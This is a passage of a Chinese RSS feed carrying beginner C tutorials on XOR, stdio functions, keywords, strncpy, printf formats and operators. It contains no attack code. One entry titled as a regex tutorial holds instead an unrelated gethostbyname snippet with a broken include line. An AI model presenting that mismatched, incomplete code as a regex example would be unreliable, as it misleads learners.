ydqun@VM</span><span>-</span><span>0</span><span>-</span><span>9</span><span>-</span><span>ubuntu </span><span>operator</span> <span>%</span>  </pre>

<p>
	这里是运用了异或的特性2与特性3，1^2^2^1^6 = 1^1^2^2^6 = 0^0^6 = 6。
</p>
]]></description><guid isPermaLink="false">318</guid><pubDate>Sat, 15 Oct 2022 21:15:27 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;&#x8F93;&#x5165;&#x4E0E;&#x8F93;&#x51FA;</title><link>https://www.hackhat.org/Hacker-topic/317.html/</link><description><![CDATA[<p>
	 
</p>

<p>
	基础知识
</p>

<p>
	　　C语言中所有输入输出都用流(stream)完成。流按行组织字符序列，每一行用一个换行符结束。至少3种流与程序连接：stdin，stdout，stderr。一个流是内存中的一个缓冲区，程序运行中输入输出数据都被收集在相应缓冲区中。
</p>

<p>
	字符数据的输入
</p>

<p>
	　　1.输入单字符函数getchar：从标准输入流stdin中当前读入位置读入一个字符(包括空格、\n、Tab)，读取成功返回该字符编码，出错或遇到EOF则返回-1。成功读入后stdin当前读入位置自动后移一个字符。
</p>

<p>
	　　2.getchar是带参数的类函数宏定义：
</p>

<pre><span>#define</span><span> getchar</span><span>()</span><span> getc</span><span>(</span><span>stdin</span><span>)</span></pre>

<p>
	字符数据的输出
</p>

<p>
	　　1.输出单字符函数putchar：将程序中的一个字符的编码不加处理地送到标准输出流stdout的当前输出位置，并把对应的符号显示在屏幕上。正确时返回送出的字符编码，出错时返回-1。成功后将stdout当前位置后移一个字符。
</p>

<p>
	　　2.putchar是带参数的类函数宏定义：
</p>

<pre><span>#define</span><span> putchar</span><span>(</span><span>c</span><span>)</span><span> putc</span><span>(</span><span>c</span><span>,</span><span>stdout</span><span>)</span></pre>

<p>
	　　3.参数总是按无符号整数解释。在0~255之外的值按256取模。
</p>

<pre><span>//输出换行符</span><span>
putchar</span><span>(</span><span>'\n'</span><span>);</span><span>
putchar</span><span>(</span><span>'\12'</span><span>);</span><span>
putchar</span><span>(</span><span>'\xa'</span><span>);</span></pre>

<p>
	格式化输出
</p>

<p>
	　　1.格式化输出函数printf：将调用时给出的输出项按指定的格式转换为字符序列送到stdout并在屏幕上显示。返回值为实际输出的字符个数。
</p>

<pre><span>printf</span><span>(格式控制字符串,输出项表)</span></pre>

<p>
	　　2.格式控制字符串包括转换说明(<em>% 转换修饰符 转换说明符</em>)和普通字符。这里不再赘述。
</p>

<p>
	　　3.输出项表：由若干个输出项构成，各输出项之间用逗号分隔。
</p>

<p>
	 
</p>

<p>
	　　4.pritnf函数工作原理：待补充。
</p>

<p>
	　　5.printf输出不同类型数据：待补充。
</p>

<p>
	 格式化输入
</p>

<p>
	　　1.格式化输入函数scanf：将从stdin读取的若干字符按格式字符串的转换说明转换为指定类型的数据，并保存到对应得输入项中。返回值为实际读入并成功转换的输入项个数。
</p>

<pre><span>scanf</span><span>(格式控制字符串，输入项表)</span></pre>

<p>
	　　2.格式控制字符串包括转换说明、普通字符和空白字符(空格、\n、Tab)。
</p>

<p>
	　　关于空白字符的详细说明：待补充。
</p>

<p>
	　　空白字符与普通字符：待补充。
</p>

<p>
	　　3.输入项表：由若干地址组成，地址之间用逗号隔开。
</p>

<p>
	　　4.scanf输入不同类型数据：待补充。
</p>
]]></description><guid isPermaLink="false">317</guid><pubDate>Sat, 15 Oct 2022 21:14:54 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;-&#x5173;&#x952E;&#x5B57;</title><link>https://www.hackhat.org/Hacker-topic/316.html/</link><description><![CDATA[<p>
	 
</p>

<h1>
	auto
</h1>

<p>
	变量的作用域：
</p>

<ul><li>
		变量可以作用的范围。一般都是花括号里面。
	</li>
</ul><p>
	变量的生命周期：
</p>

<ul><li>
		变量从被创建到销毁所经历的时间。
	</li>
</ul><p>
	可以认为局部变量都默认是auto的，但是你不写编译器也知道。该关键字几乎不用了。
</p>

<h1>
	<a rel=""></a>register
</h1>

<p>
	当你使用register去修饰一个变量时，编译器会尽可能将该变量放在CPU的寄存器中而非内存中，所以CPU访问该变量的速度是很快的。<br>
	几点注意：
</p>

<ul><li>
		1，register修饰的最好是局部变量。因为全局变量会一直占用寄存器。
	</li>
	<li>
		2，不会被写入。写入就要写回内存。那么该变量设为register就没有意义。
	</li>
	<li>
		最好是高频读写的。
	</li>
	<li>
		无法被&amp;符号取地址。
	</li>
	<li>
		不要被大量使用，因为寄存器有限。
	</li>
</ul><h1>
	<a rel=""></a>为什么要有头文件
</h1>

<p>
	很多时候我们有这样的需求：在一个源文件中使用另一个源文件的函数或者变量。那么能不能直接使用呢？
</p>

<ul><li>
		函数可以，但是会警告，函数只要链接找到就可以。(只限于自己写的函数，想要使用库函数或者别的函数必须包含声明)。
	</li>
	<li>
		而变量必须声明过才可以使用，且不能在声明的时候赋值。因为声明不开辟空间。
	</li>
</ul><blockquote>
	<p>
		但是如果我有100个源文件，每个源文件都要使用同一个全局变量，那么怎么办呢？我难道要写100遍声明吗？
	</p>
</blockquote>

<p>
	所以，一个好的处理方法就是，将这些声明提取到1个共用的文件中，以便于项目的维护。而这个文件就是头文件。而每个想要使用其中变量或者函数的源文件，只需要包含该头文件即可。
</p>

<ul><li>
		头文件包含的内容：<br><img alt="头文件包含" width="798" src="https://www.icode9.com/i/ll/?i=142f59df3e2640878630515b978d4df8.png?,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAcHJvZ3JhbWluZ-iPnOm4nw==,size_19,color_FFFFFF,t_70,g_se,x_16" loading="lazy" height="223.44"></li>
</ul><h1>
	<a rel=""></a>static
</h1>

<p>
	我们知道了全局变量和函数是可以跨文件的。而函数甚至不用声明就可以使用。那么有没有办法保证你的函数无法直接被其他源文件使用呢？
</p>

<ul><li>
		static修饰全局变量，表示该变量只能在源文件内部使用。改变了该变量的作用域。但是可以间接使用。
	</li>
	<li>
		static修饰函数，表示该函数只能在该源文件内部使用。但是可以嵌套式的间接使用。
	</li>
	<li>
		static的特性为C语言提供了封装性的可能。保证了项目的安全性。
	</li>
</ul><pre><code><span>/************* test.c文件 ***************/</span>
<span>static</span> <span>int</span><span> g_val </span><span>=</span> <span>100</span><span>;</span>  <span>//g_val无法被外部文件直接访问。因为static</span>
<span>int</span><span> show_val</span><span>()</span> <span>{</span><span>
	printf</span><span>(</span><span>"%d\n"</span><span>,</span><span> g_val</span><span>);</span> <span>//但是可以通过show函数访问；因为show函数可以被其他源文件访问</span>
<span>}</span>

<span>static</span> <span>void</span><span> test</span><span>(){</span> <span>//被static修饰，无法被外部直接访问</span>
 <span>// do something...</span>
<span>}</span>
<span>void</span><span> show_test</span><span>(){</span><span>
	test</span><span>();</span> <span>//但是可以通过嵌套，间接访问</span>
<span>}</span></code></pre>

<ul><li>
		static修饰局部变量，该变量的生命周期
	</li>
</ul><h1>
	<a rel=""></a>extern
</h1>

<ul><li>
		在变量前面，表示声明该变量。全局变量声明必须带上extern，否则就可能引起编译器的二义性。不带上无法分辨是定义还是声明。
	</li>
	<li>
		函数可以不带，因为编译器可以分辨出函数的定义和声明，但是为了保持好习惯，建议带上。<br><img alt="extern" width="998" src="https://www.icode9.com/i/ll/?i=2e02d9591c774344b87623f63ed5a607.png" loading="lazy" height="89.82"></li>
</ul>]]></description><guid isPermaLink="false">316</guid><pubDate>Sat, 15 Oct 2022 21:14:30 +0000</pubDate></item><item><title>&#x3010;C&#x8BED;&#x8A00;&#x3011;strncpy&#x8BE6;&#x89E3;</title><link>https://www.hackhat.org/Hacker-topic/315.html/</link><description><![CDATA[<p>
	 
</p>

<h2>
	.不考虑内存重叠的strncpy
</h2>

<p>
	网上很多博客也写了这个函数，面试也常常会遇到，但是，我发现网上的很多代码都是有问题的，我们先看下大部分网上博客的实现：
</p>

<pre><code><span>char</span> <span>*</span><span>strncpy</span><span>(</span><span>char</span> <span>*</span><span>dst</span><span>,</span> <span>const</span> <span>char</span> <span>*</span><span>src</span><span>,</span> <span>size_t</span><span> len</span><span>)</span>
<span>{</span><span>
	assert</span><span>(</span><span>dst </span><span>!=</span><span> NULL </span><span>&amp;&amp;</span><span> src </span><span>!=</span><span> NULL</span><span>);</span>
	<span>char</span> <span>*</span><span>res </span><span>=</span><span> dst</span><span>;</span>
	<span>while</span> <span>(</span><span>len</span><span>--)</span>
	<span>{</span>
		<span>*</span><span>dst</span><span>++</span> <span>=</span> <span>*</span><span>src</span><span>++;</span>
	<span>}</span>
	<span>return</span><span> res</span><span>;</span>
<span>}</span></code></pre>

<p>
	看着好像没啥问题，但是，当src的长度小于len呢？这份代码没有处理这个问题。当src的长度小于len时，应该如何处理？《C和指针》p179给出的答案是：<br>
	“ 和strcpy一样，strncpy把源字符串的字符复制到目标数组。然而，它总是正好向dst写入len个字符。如果strlen(src)的值小于len，dst数组就用<br>
	额外的NUL字节填充到len长度，如果strlen(src)的值大于或等于len，那么只有len个字符被复制到dst中。”<br>
	注意！它的结果将不会以NUL字节结尾。（NUL即‘\0’）.
</p>

<p>
	由此可见，我们还需要判断strlen(src)是否小于len，如果是，还需要在dst后面添加NUL，因此，正确的代码应该如下：
</p>

<pre><code><span>char</span> <span>*</span><span>strncpy</span><span>(</span><span>char</span> <span>*</span><span>dest</span><span>,</span> <span>const</span> <span>char</span> <span>*</span><span>src</span><span>,</span> <span>size_t</span><span> len</span><span>)</span>
<span>{</span><span>
	assert</span><span>(</span><span>dest </span><span>!=</span><span> NULL </span><span>&amp;&amp;</span><span> src </span><span>!=</span><span> NULL</span><span>);</span>
	<span>char</span> <span>*</span><span>res </span><span>=</span><span> dest</span><span>;</span>
	<span>int</span><span> offset </span><span>=</span> <span>0</span><span>;</span>
	<span>if</span> <span>(</span><span>strlen</span><span>(</span><span>src</span><span>)</span> <span>&lt;</span><span> len</span><span>)</span><span>//src长度小于len</span>
	<span>{</span><span>
		offset </span><span>=</span><span> len </span><span>-</span><span> strlen</span><span>(</span><span>src</span><span>);</span><span>
		len </span><span>=</span><span> strlen</span><span>(</span><span>src</span><span>);</span>
	<span>}</span>

	<span>while</span> <span>(</span><span>len</span><span>--)</span>
	<span>{</span>
		<span>*</span><span>dest</span><span>++</span> <span>=</span> <span>*</span><span>src</span><span>++;</span>
	<span>}</span>
	<span>while</span> <span>(</span><span>offset</span><span>--)</span>
	<span>{</span>
		<span>*</span><span>dest</span><span>++</span> <span>=</span> <span>'\0'</span><span>;</span>
	<span>}</span>
	<span>return</span><span> res</span><span>;</span>
<span>}</span>
</code></pre>

<p>
	使用这个函数，尤其需要注意，不要出现len&gt;strlen(dst)的情况，如果len&gt;strlen(dst)，那么会破坏dst后面的内存：<img alt="在这里插入图片描述" width="859" src="https://www.icode9.com/i/ll/?i=20210312233400252.png" loading="lazy" height="51.54"><br>
	我们假设前面红色部分是dst，然后strncpy(dst,src,10);那么后面黄色部分的内存就被破坏了。strncpy是不负责检测len是否大于dst长度的。
</p>

<p>
	总的来说，strncpy总是复制len个字符到dst指向的内存！！！
</p>

<p>
	所以，还会出现下面的情况
</p>

<pre><code><span>char</span><span> message</span><span>[]</span> <span>=</span> <span>"abcd"</span><span>;</span><span>
strncpy</span><span>(</span><span>message</span><span>,</span> <span>"abcde"</span><span>,</span><span>5</span><span>);</span><span>
cout </span><span>&lt;&lt;</span><span> message</span><span>;</span></code></pre>

<p>
	输出是abcde烫烫烫烫烫烫烫烫烫烫烫烫烫烫 (结果不唯一)
</p>

<p>
	message的内存是有5个字节的，但是将abcde拷贝过去时，最后面的‘\0’被覆盖了，strncpy并不会负责添加‘\0’到dst结尾，因此，输出该字符串是，会在e字符后面一直找到‘\0’才结束，因此就会出现乱码。
</p>

<h2>
	<a rel=""></a>2.考虑内存重叠的strncpy
</h2>

<p>
	面试中经常会遇到让你写一个能够处理内存重叠的strncpy，标准库中的strncpy是不考虑内存重叠的，如果出现内存重叠，结果将是未定义的。<br>
	网上的很多博客也有这个代码的实现，其实很多也是有问题的，没有考虑src长度小于len的问题：
</p>

<pre><code><span>char</span> <span>*</span><span>strncpy</span><span>(</span><span>char</span> <span>*</span><span>dst</span><span>,</span> <span>const</span> <span>char</span> <span>*</span><span>src</span><span>,</span> <span>size_t</span><span> len</span><span>)</span>
<span>{</span><span>
	assert</span><span>(</span><span>dst </span><span>!=</span><span> NULL </span><span>&amp;&amp;</span><span> src </span><span>!=</span><span> NULL</span><span>);</span>
	<span>char</span> <span>*</span><span>res </span><span>=</span><span> dst</span><span>;</span>
	<span>if</span> <span>(</span><span>dst </span><span>&gt;=</span><span> src </span><span>&amp;&amp;</span><span> dst </span><span>&lt;=</span><span> src </span><span>+</span><span> len </span><span>-</span> <span>1</span><span>)</span><span>//重叠,从后向前复制</span>
	<span>{</span><span>
		dst </span><span>=</span><span> dst </span><span>+</span><span> len </span><span>-</span> <span>1</span><span>;</span><span>
		src </span><span>=</span><span> src </span><span>+</span><span> len </span><span>-</span> <span>1</span><span>;</span>
		<span>while</span> <span>(</span><span>len</span><span>--)</span>
			<span>*</span><span>dst</span><span>--</span> <span>=</span> <span>*</span><span>src</span><span>--;</span>
	<span>}</span>
	<span>else</span>
	<span>{</span>
		<span>while</span> <span>(</span><span>len</span><span>--)</span>
			<span>*</span><span>dst</span><span>++</span> <span>=</span> <span>*</span><span>src</span><span>++;</span>
	<span>}</span>
	<span>return</span><span> res</span><span>;</span>
<span>}</span></code></pre>

<p>
	那么，如果要处理内存重叠，该怎么办？如果内存重叠和src的长度小于len这两种情况同时出现，又如何处理？<img alt="在这里插入图片描述" width="828" src="https://www.icode9.com/i/ll/?i=20210312235000143.png" loading="lazy" height="82.8"><br>
	见图，假设红色部分为src，黄色为dst。如果出现内存重叠，我们很容易想到：从后往前拷贝。如果src的长度小于len，则在后面补NUL。
</p>

<pre><code><span>char</span> <span>*</span><span>strncpy</span><span>(</span><span>char</span> <span>*</span><span>dst</span><span>,</span> <span>const</span> <span>char</span> <span>*</span><span>src</span><span>,</span> <span>size_t</span><span> len</span><span>)</span>
<span>{</span><span>
	assert</span><span>(</span><span>dst </span><span>!=</span><span> NULL </span><span>&amp;&amp;</span><span> src </span><span>!=</span><span> NULL</span><span>);</span>
	<span>char</span> <span>*</span><span>res </span><span>=</span><span> dst</span><span>;</span>
	<span>int</span><span> offset </span><span>=</span> <span>0</span><span>;</span>
	<span>char</span> <span>*</span><span>tmp</span><span>;</span>
	<span>if</span> <span>(</span><span>strlen</span><span>(</span><span>src</span><span>)</span> <span>&lt;</span><span> len</span><span>)</span><span>//src长度小于len</span>
	<span>{</span><span>
		offset </span><span>=</span><span> len </span><span>-</span><span> strlen</span><span>(</span><span>src</span><span>);</span><span>
		len </span><span>=</span><span> strlen</span><span>(</span><span>src</span><span>);</span>
	<span>}</span>

	<span>if</span> <span>(</span><span>dst </span><span>&gt;=</span><span> src </span><span>&amp;&amp;</span><span> dst </span><span>&lt;=</span><span> src </span><span>+</span><span> len </span><span>-</span> <span>1</span><span>)</span><span>//重叠,从后向前复制</span>
	<span>{</span><span>
		dst </span><span>=</span><span> dst </span><span>+</span><span> len </span><span>-</span> <span>1</span><span>;</span><span>
		src </span><span>=</span><span> src </span><span>+</span><span> len </span><span>-</span> <span>1</span><span>;</span><span>
		tmp </span><span>=</span><span> dst</span><span>;</span>
		<span>while</span> <span>(</span><span>len</span><span>--)</span>
			<span>*</span><span>dst</span><span>--</span> <span>=</span> <span>*</span><span>src</span><span>--;</span>
	<span>}</span>
	<span>else</span>
	<span>{</span>
		<span>while</span> <span>(</span><span>len</span><span>--)</span>
			<span>*</span><span>dst</span><span>++</span> <span>=</span> <span>*</span><span>src</span><span>++;</span><span>
		tmp </span><span>=</span><span> dst</span><span>;</span>
	<span>}</span>
	<span>while</span> <span>(</span><span>offset</span><span>--)</span>
	<span>{</span>
		<span>*</span><span>tmp</span><span>++</span> <span>=</span> <span>'\0'</span><span>;</span>
	<span>}</span>
	<span>return</span><span> res</span><span>;</span>
<span>}</span></code></pre>

<p>
	那么，如果len的值大于dst的值，就会破坏dst后面的内存空间，这应该是要避免的。
</p>

<p>
	最后，我们看一个有意思的东西：(此处strncpy是考虑内存重叠的版本)<br><img alt="在这里插入图片描述" width="519" src="https://www.icode9.com/i/ll/?i=20210312235031839.png" loading="lazy" height="160.89"><br>
	message的长度增加了0.0 当然 ，它后面的内存被破坏了，这可能带来严重的后果。<br>
	最后，使用strncpy时，最好自动添加‘\0’在结尾。
</p>
]]></description><guid isPermaLink="false">315</guid><pubDate>Sat, 15 Oct 2022 21:14:10 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;&#x4E4B;printf( )&#x8BE6;&#x89E3;</title><link>https://www.hackhat.org/Hacker-topic/314.html/</link><description><![CDATA[<p>
	 
</p>

<h2>
	一、基本概念
</h2>

<p>
	1、定义：
</p>

<p>
	printf() 是 C 语言标准库函数，用于将格式化后的字符串输出到标准输出。标准输出，即标准输出文件，对应终端的屏幕。使用 printf() 时 要加头文件 stdio.h。
</p>

<p>
	2、函数原型：
</p>

<pre><code><span>int</span><span> printf </span><span>(</span> <span>const</span> <span>char</span> <span>*</span><span> format</span><span>,</span> <span>...</span> <span>);</span></code></pre>

<p>
	3、返回值：
</p>

<p>
	正确返回输出的字符总数，错误返回负值。与此同时，输入输出流错误标志将被置值，可由指示器函数 ferror(FILE *stream) 来检查输入输出流的错误标志，如果 ferror() 返回一个非零值，表示出错。
</p>

<p>
	4、调用格式：
</p>

<pre><code><span>printf</span><span>(</span><span>"格式化字符串"</span><span>,</span> <span>输出表列)</span></code></pre>

<p>
	5、格式化字符串包含三种对象，分别为：
</p>

<p>
	1）字符串常量；<br>
	2）格式控制字符串；<br>
	3）转义字符。
</p>

<p>
	字符串常量原样输出，在显示中起提示作用。输出表列中给出了各个输出项，要求格式控制字符串和各输出项在数量和类型上应该一一对应。其中格式控制字符串是以 % 开头的字符串，在 % 后面跟有各种格式控制符，以说明输出数据的类型、宽度、精度等。
</p>

<h2>
	<a rel=""></a>二、格式控制字符串
</h2>

<p>
	1、printf() 的格式控制字符串组成如下：
</p>

<pre><code><span>%[</span><span>flags</span><span>][</span><span>width</span><span>][.</span><span>prec</span><span>][</span><span>length</span><span>]</span><span>type</span></code></pre>

<p>
	分别为：
</p>

<pre><code><span>%[标志][最小宽度][.精度][类型长度]类型。</span></code></pre>

<p>
	2、类型（type）<br><img alt="在这里插入图片描述" width="952" src="https://www.icode9.com/i/ll/?i=20210515210846366.png?,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzUxNDk1NTg1,size_16,color_FFFFFF,t_70" loading="lazy" height="694.96"><br><img alt="在这里插入图片描述" width="951" src="https://www.icode9.com/i/ll/?i=20210515210913519.png?,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzUxNDk1NTg1,size_16,color_FFFFFF,t_70" loading="lazy" height="741.78"><br><img alt="在这里插入图片描述" width="956" src="https://www.icode9.com/i/ll/?i=20210515210934102.png" loading="lazy" height="162.52"></p>

<p>
	3、标志<br>
	flags 规定输出样式，取值和含义如下：<br><img alt="在这里插入图片描述" width="947" src="https://www.icode9.com/i/ll/?i=20210515211016722.png?,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzUxNDk1NTg1,size_16,color_FFFFFF,t_70" loading="lazy" height="255.69"></p>

<p>
	type是a、A、e、E、f、g、G时，一定使用小数点。默认的，如果使用.0控制不输出小数部分，则不输出小数点。
</p>

<p>
	type是g、G时，尾部的0保留。数字零将输出的前面补上0，直到占满指定列宽为止（不可以搭配使用“-”）。
</p>

<p>
	示例：
</p>

<pre><code><span>printf</span><span>(</span><span>"%5d\n"</span><span>,</span><span>1000</span><span>);</span>     <span>//默认右对齐,左边补空格</span><span>
printf</span><span>(</span><span>"%-5d\n"</span><span>,</span><span>1000</span><span>);</span>     <span>//左对齐,右边补空格</span><span>

printf</span><span>(</span><span>"%+d %+d\n"</span><span>,</span><span>1000</span><span>,-</span><span>1000</span><span>);</span>  <span>//输出正负号</span><span>

printf</span><span>(</span><span>"% d % d\n"</span><span>,</span><span>1000</span><span>,-</span><span>1000</span><span>);</span>  <span>//正号用空格替代，负号输出</span><span>

printf</span><span>(</span><span>"%x %#x\n"</span><span>,</span><span>1000</span><span>,</span><span>1000</span><span>);</span>  <span>//输出0x</span><span>

printf</span><span>(</span><span>"%.0f %#.0f\n"</span><span>,</span><span>1000.0</span><span>,</span><span>1000.0</span><span>)</span><span>//当小数点后不输出值时依然输出小数点</span><span>

printf</span><span>(</span><span>"%g %#g\n"</span><span>,</span><span>1000.0</span><span>,</span><span>1000.0</span><span>);</span> <span>//保留小数点后后的0</span><span>

printf</span><span>(</span><span>"%05d\n"</span><span>,</span><span>1000</span><span>);</span>    <span>//前面补0</span></code></pre>

<p>
	输出结果为：
</p>

<p>
	<img alt="在这里插入图片描述" width="142" src="https://www.icode9.com/i/ll/?i=20210515211205509.png" loading="lazy" height="133.48"></p>

<p>
	4、最小宽度
</p>

<p>
	用十进制整数来表示输出的最少位数。若实际位数多于指定的宽度，则按实际位数输出，若实际位数少于定义的宽度则补以空格或0。width的可能取值如下：<br><img alt="在这里插入图片描述" width="952" src="https://www.icode9.com/i/ll/?i=20210515212827512.png?,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzUxNDk1NTg1,size_16,color_FFFFFF,t_70" loading="lazy" height="228.48"></p>

<p>
	5、精度<br>
	精度格式符以“.”开头，后跟十进制整数。可取值如下：<br><img alt="在这里插入图片描述" width="948" src="https://www.icode9.com/i/ll/?i=20210515212859777.png" loading="lazy" height="104.28"><br>
	1)对于整型（d,i,o,u,x,X）,precision表示输出的最小的数字个数，不足补前导零，超过不截断。<br>
	2)对于浮点型（a, A, e, E, f ），precision表示小数点后数值位数，默认为六位，不足补后置0，超过则截断。<br>
	3)对于类型说明符g或G，表示可输出的最大有效数字。<br>
	4)对于字符串（s），precision表示最大可输出字符数，不足正常输出，超过则截断。<br>
	precision不显示指定，则默认为0。以星号代替数值，类似于width中的*，在输出参数列表中指定精度。
</p>

<p>
	示例：
</p>

<pre><code><span>printf</span><span>(</span><span>"%.8d\n"</span><span>,</span><span>1000</span><span>);</span>   <span>//不足指定宽度补前导0，效果等同于%08d</span><span>
printf</span><span>(</span><span>"%.8f\n"</span><span>,</span><span>1000.123456789</span><span>);</span><span>//超过精度，截断</span><span>
printf</span><span>(</span><span>"%.8f\n"</span><span>,</span><span>1000.123456</span><span>);</span> <span>//不足精度，补后置0</span><span>
printf</span><span>(</span><span>"%.8g\n"</span><span>,</span><span>1000.123456</span><span>);</span> <span>//最大有效数字为8位</span><span>
printf</span><span>(</span><span>"%.8s\n"</span><span>,“</span><span>abcdefghij</span><span>”);</span> <span>//超过指定长度截断</span></code></pre>

<p>
	输出结果：
</p>

<pre><code><span>00001000</span>
<span>1000.12345679</span>
<span>1000.12345600</span>
<span>1000.1235</span><span>
abcdefgh</span></code></pre>

<p>
	<strong>注意： 在对浮点数和整数截断时，存在四舍五入。</strong>
</p>
]]></description><guid isPermaLink="false">314</guid><pubDate>Sat, 15 Oct 2022 21:13:37 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;&#x6B63;&#x5219;&#x8868;&#x8FBE;&#x5F0F;&#x5339;&#x914D;</title><link>https://www.hackhat.org/Hacker-topic/313.html/</link><description><![CDATA[<p>
	 
</p>

<h1>
	C语言中使用正则表达式一般分为三步:
</h1>

<ol><li>
		编译正则表达式 regcomp()
	</li>
	<li>
		匹配正则表达式 regexec()
	</li>
	<li>
		释放正则表达式 regfree()
	</li>
</ol><h1>
	下边是对三个函数的详细解释：
</h1>

<pre><span>#include</span> <span>&lt;stdio.h&gt;</span>
<span>#include</span> <span>&lt;string.h&gt;</span>
<span>#include</span> <span>&lt;stdlib.h&gt;</span>
<span>#include</span> <span>&lt;unistd.h&gt;</span>
<span>#include</span> <span>&lt;errno.h&gt;</span>
<span>#include</span> <span>&lt;</span>
<span>#include</span> <span>&lt;netdb.h&gt;</span>

<span>#define</span><span> SERVER_PORT    </span><span>80</span>
<span>#define</span><span> SERVER_DOMAIN_NAME    </span><span>"api.help.bj.cn"</span>

<span>void</span><span> sys_err</span><span>(</span><span>const</span> <span>char</span> <span>*</span><span>str</span><span>)</span>
<span>{</span><span>
    perror</span><span>(</span><span>str</span><span>);</span>
    <span>exit</span><span>(</span><span>1</span><span>);</span>
<span>}</span>

<span>int</span><span> main</span><span>(</span><span>int</span><span> argc</span><span>,</span> <span>char</span> <span>*</span><span>argv</span><span>[])</span>
<span>{</span>
    <span>struct</span><span> hostent </span><span>*</span><span>host_info</span><span>;</span><span>

    host_info </span><span>=</span><span> gethostbyname</span><span>(</span><span>SERVER_DOMAIN_NAME</span><span>);</span>
    <span>if</span><span>(</span><span>host_info </span><span>==</span><span> NULL</span><span>){</span><span>
        sys_err</span><span>(</span><span>"hostInfo is NULL\r\n"</span><span>);</span>
        <span>return</span> <span>-</span><span>1</span><span>;</span>
    <span>}</span><span>

     printf</span><span>(</span><span>"host name:%s\r\n"</span><span>,</span><span> host_info</span><span>-&gt;</span><span>h_name</span><span>);</span>
    <span>//  printf("alias list:%s\r\n", host_info-&gt;h_aliases);</span>
    <span>// printf("type:%d\r\n", host_info-&gt;h_addrtype);</span>
    <span>// printf("length:%d\r\n", host_info-&gt;h_length);</span>
    <span>// printf("address list:%s\r\n",host_info-&gt;h_addr_list);</span>

    <span>// close(sfd);</span>
    
    <span>return</span> <span>0</span><span>;</span>
<span>}</span></pre>
]]></description><guid isPermaLink="false">313</guid><pubDate>Sat, 15 Oct 2022 21:13:15 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;&#x7A0B;&#x5E8F;&#x8BBE;&#x8BA1;  &#x8FD0;&#x7B97;&#x7B26;&#x53CA;&#x8868;&#x8FBE;&#x5F0F;</title><link>https://www.hackhat.org/Hacker-topic/311.html/</link><description><![CDATA[<p>
	 
</p>

<h1>
	前言：
</h1>

<p>
	当我们学习完了标识符，常量和变量以后，这一章再学习完运算符及表达式，就基本把C语言中的“单词”这块完成了。
</p>

<h1>
	运算符分类：
</h1>

<blockquote>
	<p>
		算术运算符（+、-、*、/、%、++、--）
	</p>

	<p>
		赋值运算符（=、复合赋值运算符）
	</p>

	<p>
		关系运算符（&gt;、&lt;、==、&gt;=、&lt;=、!=）
	</p>

	<p>
		逻辑运算符（!、&amp;&amp;、||）
	</p>

	<p>
		条件运算符（？ ：）
	</p>

	<p>
		逗号运算符（，）
	</p>

	<p>
		移位运算符（&lt;&lt;、&gt;&gt;）
	</p>

	<p>
		位运算符（~、|、^、&amp;）
	</p>

	<p>
		指针运算符（*，&amp;）
	</p>

	<p>
		求字节运算符（sizeof）
	</p>

	<p>
		强制类型转换运算符（（类型））
	</p>

	<p>
		分量运算符（.、-&gt;）
	</p>

	<p>
		下标运算符（【】）
	</p>

	<p>
		其他
	</p>
</blockquote>

<p>
	1，按照运算符在表达式中与链接运算对象的个数可分为：
</p>

<p>
	（1）单目运算符
</p>

<p>
	（2）双目运算符
</p>

<p>
	（3）三目运算符
</p>

<p>
	（4）其他
</p>

<p>
	2，运算符的优先级：
</p>

<p>
	优先级指一个表达式中不同运算符进行操作的先后顺序。通常所以单目运算符的优先级高于双目运算符
</p>

<p>
	3，运算符的结合性：
</p>

<p>
	结合性是指表达式中各种运算符优先级相同时，由运算符的结合性来确定表达式的运算顺序。
</p>

<p>
	第一类：右结合性（运算符的结合性从右向左）单目，三目和赋值运算符
</p>

<p>
	第二类：左结合性（运算符的结合性从左向右）以上都是
</p>

<h1>
	算术运算符
</h1>

<blockquote>
	<table border="1" cellpadding="1" cellspacing="1"><thead><tr><th>
					    运算符号
				</th>
				<th>
					    操作数数目
				</th>
				<th>
					   名称
				</th>
				<th>
					    运算规则
				</th>
				<th>
					  举例
				</th>
			</tr></thead><tbody><tr><th>
					          +
				</th>
				<td>
					          单目
				</td>
				<td>
					    正
				</td>
				<td>
					      取原值
				</td>
				<td>
					   +5
				</td>
			</tr><tr><th>
					          -
				</th>
				<td>
					          单目
				</td>
				<td>
					    负
				</td>
				<td>
					      取负值
				</td>
				<td>
					    -5
				</td>
			</tr><tr><th>
					          +
				</th>
				<td>
					          双目
				</td>
				<td>
					    加
				</td>
				<td>
					        加法
				</td>
				<td>
					  a+b
				</td>
			</tr><tr><th>
					          -
				</th>
				<td>
					          双目
				</td>
				<td>
					    减
				</td>
				<td>
					        减法
				</td>
				<td>
					  a-b
				</td>
			</tr><tr><th>
					          *
				</th>
				<td>
					          双目
				</td>
				<td>
					    乘
				</td>
				<td>
					        乘法
				</td>
				<td>
					  a*b
				</td>
			</tr><tr><th>
					          /
				</th>
				<td>
					          双目
				</td>
				<td>
					    除
				</td>
				<td>
					        除法
				</td>
				<td>
					  a/b
				</td>
			</tr><tr><th>
					         %
				</th>
				<td>
					          双目
				</td>
				<td>
					    模
				</td>
				<td>
					      求余数
				</td>
				<td>
					 5%7
				</td>
			</tr><tr><th>
					        ++
				</th>
				<td>
					          单目
				</td>
				<td>
					  自增
				</td>
				<td>
					       自增1
				</td>
				<td>
					  a++
				</td>
			</tr><tr><th>
					         --
				</th>
				<td>
					          单目
				</td>
				<td>
					  自减
				</td>
				<td>
					       自减1
				</td>
				<td>
					  a--
				</td>
			</tr></tbody></table><p>
		1，基本运算符算数时注意：
	</p>

	<p>
		（1）除法运算：两个操作数都是整数时，结果为整数，小数部分省去；如果都是实数，则结果为实数
	</p>

	<p>
		（2）取余运算：两个操作数必须为整数，其结果也为整数
	</p>

	<p>
